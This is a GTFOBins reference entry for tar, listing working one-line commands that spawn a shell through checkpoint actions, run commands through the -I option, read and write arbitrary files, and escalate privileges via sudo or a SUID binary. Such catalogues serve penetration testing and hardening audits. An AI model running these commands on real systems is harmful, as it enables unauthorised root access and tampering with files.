GTFOBins.github.io/_gtfobins/tar.md
2018-07-04 19:26:52 +01:00

25 lines
809 B
Markdown

---
functions:
execute-interactive:
- code: tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
execute-non-interactive:
- description: This only works for GNU tar.
code: tar xf /dev/null -I '/bin/sh -c "id 1>&2"'
file-write:
- description: This only works for GNU tar.
code: |
LFILE=file_to_write
TF=$(mktemp)
echo data > "$TF"
tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P
file-read:
- description: This only works for GNU tar.
code: |
LFILE=file_to_read
tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'
sudo-enabled:
- code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
suid-limited:
- code: "./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh"
---